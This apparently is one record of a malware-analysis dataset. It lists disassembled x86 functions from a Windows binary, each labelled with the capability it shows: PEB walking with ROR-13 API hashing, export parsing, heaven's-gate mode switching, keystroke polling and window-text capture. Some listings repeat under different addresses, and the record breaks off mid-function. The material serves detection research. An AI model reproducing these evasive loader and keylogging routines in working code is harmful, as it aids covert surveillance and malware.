joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a79d
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40a851
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040a72d
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40a82a
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a85d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40a878
test ebp, ebp
je 0x40a878
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40a880
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40a8c0
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40a91c
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40a917
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40a902
test dl, dl
je 0x40a8fe
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40a902
add ecx, 2
add eax, 2
test dl, dl
jne 0x40a8e2
xor eax, eax
jmp 0x40a907
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a926
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40a8cf
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40a93d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0040a79d
mov esi, eax
test esi, esi
je 0x40a9f9
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0040a85d
mov ebp, eax
test ebp, ebp
je 0x40a9f8
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0040a85d
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x40a9f8
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x40a9f8
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x40a9f7
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x40a9dd
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret
Function at 0x40c368
Capabilities:
Access peb ldr_data
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov esi, dword [ebp + 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
lea ecx, [eax + 0x14]
mov eax, dword [eax + 0x14]
cmp eax, ecx
je 0x40c49e
mov edx, eax
mov eax, dword [eax]
test eax, eax
je 0x40c38b
cmp dword [edx + 0x10], esi
jne 0x40c383
xor eax, eax
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [edx + 0x20]
mov dword [esp], eax
call dword [ebp + 0x10]
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x40c49e
mov ecx, dword [esi + 0x3c]
mov eax, dword [ebp + 0xc]
add ecx, esi
sub eax, esi
lea edx, [ecx + 0xf8]
movzx ecx, word [ecx + 6]
mov dword [ebp - 0x24], eax
imul ecx, ecx, 0x28
add ecx, edx
cmp edx, ecx
je 0x40c497
mov esi, dword [edx + 0xc]
cmp eax, esi
jb 0x40c418
mov edi, dword [edx + 0x10]
add edi, esi
cmp edi, eax
jb 0x40c418
add eax, dword [edx + 0x14]
sub eax, esi
jne 0x40c41d
jmp 0x40c497
add edx, 0x28
jmp 0x40c3f7
xor edi, edi
mov dword [esp + 4], eax
mov dword [esp + 0xc], edi
mov dword [esp + 8], edi
mov dword [esp], ebx
call dword [ebp + 0x14]
sub esp, 0x10
inc eax
je 0x40c497
xor esi, esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], esi
mov dword [esp + 8], 8
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [ebp + 0x18]
sub esp, 0x14
test eax, eax
je 0x40c497
cmp dword [ebp - 0x24], 8
jne 0x40c497
cmp byte [ebp - 0x20], 0xb8
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
jne 0x40c497
shrd eax, edx, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
add eax, 5
mov dword [ebp - 0x1c], eax
mov dword [esp], ebx
call dword [ebp + 0x1c]
push ebx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
jmp 0x40c4a2
mov dword [esp], ebx
call dword [ebp + 0x1c]
push eax
xor eax, eax
xor edx, edx
leave
ret 0x18

Function at 0x40e42a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x40e434
add dword [esp], 5
retf

Function at 0x40e54e
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
pop ebp
pop edx
pop ecx
push edx
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40e5a2
mov al, cl
cmp al, 0x61
jb 0x40e57d
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40e5a2
mov al, cl
cmp al, 0x61
jb 0x40e595
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40e56e
cmp edx, dword [esp + 0x18]
je 0x40e5b2
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40e567
xor eax, eax
jmp 0x40e5b5
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40e5f2
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x40e5fc
add dword [esp], 5
retf
Function at 0x40e6b3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
mov ecx, dword [esp]
mov edx, dword [esp + 8]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 4]
add esp, 8
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40e7b4
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40e7ba
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40e715
cmp al, 0x61
jb 0x40e70d
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40e700
cmp edx, dword [esp + 0x14]
je 0x40e725
dec ecx
jne 0x40e6f5
xor eax, eax
jmp 0x40e7b4
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40e7b4
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40e7b4
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40e765
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40e774
jmp 0x40e75c
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call 0x40e7ba
test eax, eax
je 0x40e7b4
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40e7af
cmp al, 0x61
jb 0x40e7a7
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40e79a
call 0x40e6c9
mov dword [esp + 0x1c], eax
popal
ret
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40e807
mov al, cl
cmp al, 0x61
jb 0x40e7e2
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40e807
mov al, cl
cmp al, 0x61
jb 0x40e7fa
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40e7d3
cmp edx, dword [esp + 0x18]
je 0x40e817
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40e7cc
xor eax, eax
jmp 0x40e81a
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40e6c9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
mov ecx, dword [esp]
mov edx, dword [esp + 8]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 4]
add esp, 8
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40e7b4
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40e7ba
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40e715
cmp al, 0x61
jb 0x40e70d
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40e700
cmp edx, dword [esp + 0x14]
je 0x40e725
dec ecx
jne 0x40e6f5
xor eax, eax
jmp 0x40e7b4
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40e7b4
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40e7b4
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40e765
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40e774
jmp 0x40e75c
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call 0x40e7ba
test eax, eax
je 0x40e7b4
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40e7af
cmp al, 0x61
jb 0x40e7a7
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40e79a
call 0x40e6c9
mov dword [esp + 0x1c], eax
popal
ret
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40e807
mov al, cl
cmp al, 0x61
jb 0x40e7e2
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40e807
mov al, cl
cmp al, 0x61
jb 0x40e7fa
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40e7d3
cmp edx, dword [esp + 0x18]
je 0x40e817
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40e7cc
xor eax, eax
jmp 0x40e81a
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40e7ba
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
pop ebp
mov ecx, dword [esp]
mov edx, dword [esp + 8]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 4]
add esp, 8
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40e7b4
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40e7ba
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40e715
cmp al, 0x61
jb 0x40e70d
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40e700
cmp edx, dword [esp + 0x14]
je 0x40e725
dec ecx
jne 0x40e6f5
xor eax, eax
jmp 0x40e7b4
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40e7b4
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40e7b4
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40e765
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40e774
jmp 0x40e75c
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call 0x40e7ba
test eax, eax
je 0x40e7b4
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40e7af
cmp al, 0x61
jb 0x40e7a7
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40e79a
call 0x40e6c9
mov dword [esp + 0x1c], eax
popal
ret
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40e807
mov al, cl
cmp al, 0x61
jb 0x40e7e2
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40e807
mov al, cl
cmp al, 0x61
jb 0x40e7fa
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40e7d3
cmp edx, dword [esp + 0x18]
je 0x40e817
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40e7cc
xor eax, eax
jmp 0x40e81a
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40e84a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x40e854
add dword [esp], 5
retf

Function at 0x40eab4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40eb04
mov al, cl
cmp al, 0x61
jb 0x40eadf
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40eb04
mov al, cl
cmp al, 0x61
jb 0x40eaf7
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40ead0
cmp edx, dword [esp + 0x18]
je 0x40eb14
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40eac9
xor eax, eax
jmp 0x40eb17
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40eb30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40ec17
lea esi, [ebx + eax]
test edx, 0xffff0000
je fcn.0040ec1d
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40eb7c
cmp al, 0x61
jb 0x40eb74
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40eb67
cmp edx, dword [esp + 0x14]
je 0x40eb8c
dec ecx
jne 0x40eb5c
xor eax, eax
jmp 0x40ec17
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40ec17
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40ec17
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40ebc8
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40ebd7
jmp 0x40ebbf
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.0040ec1d
test eax, eax
je 0x40ec17
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40ec12
cmp al, 0x61
jb 0x40ec0a
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40ebfd
call fcn.0040eb30
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40ec1d
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40ec6a
mov al, cl
cmp al, 0x61
jb 0x40ec45
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40ec6a
mov al, cl
cmp al, 0x61
jb 0x40ec5d
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40ec36
cmp edx, dword [esp + 0x18]
je 0x40ec7a
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40ec2f
xor eax, eax
jmp 0x40ec7d
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40f301
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
pushal
test ecx, ecx
je 0x40f3f2
movzx eax, word [ecx]
cmp eax, 0x5a4d
jne 0x40f3f9
mov eax, dword [ecx + 0x3c]
lea ebx, [ecx + eax]
mov eax, dword [ebx]
cmp eax, 0x4550
jne 0x40f3f9
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40f34e
movzx ecx, word [ebx + 0x16]
test ecx, 0x2000
je 0x40f34e
mov edx, dword [esp + 0x18]
add eax, edx
push 0
push 0
push edx
call eax
mov eax, ebx
mov edx, dword [esp + 0x14]
mov ebx, dword [edx]
mov ecx, dword [eax + 0x74]
cmp ecx, 1
jb 0x40f3aa
lea edi, [eax + 0x80]
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x40f3aa
mov edi, dword [edi]
add edi, dword [esp + 0x18]
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x40f3aa
add ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
xor edx, edx
inc edx
mov eax, dword [eax + 8]
call eax
mov ecx, eax
mov eax, dword [ebx + 0x1a8]
call eax
test eax, eax
je 0x40f3a5
mov ecx, eax
mov eax, dword [ebx + 0x128]
push ecx
call eax
test eax, eax
js 0x40f400
lea edi, [edi + 0x14]
jmp 0x40f371
lea edx, [esp + 0x18]
xor ecx, ecx
push ecx
mov ecx, esp
mov eax, dword [ebx + 0xc8]
push 0x8000
push ecx
push edx
push 0xffffffffffffffff
call eax
pop ecx
test eax, eax
js 0x40f400
inc eax
mov dword [esp + 0x1c], eax
popal
ret
mov eax, dword [esp + 0x14]
mov ebx, dword [eax]
test edi, edi
jns 0x40f3e5
mov eax, dword [ebx + 0x110]
push edi
call eax
mov edi, eax
mov eax, dword [ebx + 0x118]
push edi
call eax
xor eax, eax
jmp 0x40f3ca
mov edi, 0x57
jmp 0x40f3d0
mov edi, 0xc1
jmp 0x40f3d0
mov edi, eax
jmp 0x40f3d0

Function at 0x40fe12
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x40fe57
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x40fe5d
add eax, 4
pop esi
dec esi
push esi
jne 0x40fe3f
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x415b5a
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 8], esp
je 0x415b9f
push 0x59
push 0x40e7258
push 6
call fcn.004855a1
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.00487c40
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x415c02
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00485f90
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 8], esp
je 0x415c30
push 0xfb
push 0x40e7258
push 6
call fcn.004855a1
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.00487c40
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x415c93
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00485f90
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 8], esp
je 0x415cc1
push 0x19d
push 0x40e7258
push 6
call fcn.004855a1
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.00487c40
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x415d24
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00485f90
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x415d2c
mov esp, ebp
pop ebp
ret
Function at 0x43207d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push dword [ebp + 8]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x5c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4320d7
push 0x46
push 0x40e729f
push 6
call fcn.004855a1
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4320ee
mov eax, 0x4bb98d
jmp 0x4321d1
fild dword [ebp - 8]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fmul qword [0x4b29b8]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x4b29b8]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.00402134
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x1bc
call fcn.00485fc0
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x432145
push ebx
call fcn.0048559b
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
fild dword [ebp - 8]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fadd qword [0x49bbb0]
fstp qword [ebp - 0x1c]
mov dword [ebp - 0x20], esp
fld qword [ebp - 0x1c]
call fcn.00402134
push eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x432171
add eax, 8
push eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x43219b
push 0x165
push 0x40e729f
push 6
call fcn.004855a1
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4321b2
mov eax, 0x4bb98d
jmp 0x4321d1
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4321cc
push eax
mov eax, dword [eax + 4]
